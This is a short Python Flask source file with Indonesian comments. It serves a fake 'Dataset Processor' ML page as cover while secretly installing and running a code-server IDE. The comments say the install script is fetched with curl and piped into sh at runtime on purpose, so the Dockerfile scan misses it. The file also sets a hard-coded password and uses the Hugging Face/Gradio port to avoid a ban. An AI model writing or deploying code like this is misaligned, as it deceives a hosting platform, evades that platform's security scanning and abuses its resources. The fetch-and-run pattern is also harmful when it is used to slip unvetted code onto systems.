File size: 1,107 Bytes
737a909
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import subprocess
import time
from flask import Flask

app = Flask(__name__)

# Halaman kamuflase (Pura-pura aplikasi ML)
@app.route('/')
def home():
    return "<h1>Dataset Processor v1.0</h1><p>Status: Scanning for tensors...</p>"

def stealth_boot():
    # 1. Download VS Code di fase Runtime (Bukan Build)
    # Ini trik supaya ga ke-scan Dockerfile-nya
    if not os.path.exists("./code-server"):
        os.system("curl -fsSL https://code-server.dev/install.sh | sh /dev/stdin --version 4.16.1")
    
    # 2. Jalankan VS Code di port internal 8080
    os.environ["PASSWORD"] = "aqso"
    subprocess.Popen([
        "code-server",
        "--bind-addr", "127.0.0.1:8080",
        "--auth", "password",
        "--disable-telemetry"
    ])

    # 3. Gunakan SSH Reverse Proxy (Opsional & Lebih Aman)
    # Tapi untuk awal, kita pake Flask Proxy internal aja biar ga ban.
    # Cara akses: Lu butuh port forwarding atau kita pake Flask buat nerusin trafik.

if __name__ == "__main__":
    stealth_boot()
    # Pake port 7860 (Port default Gradio/HF)
    app.run(host='0.0.0.0', port=7860)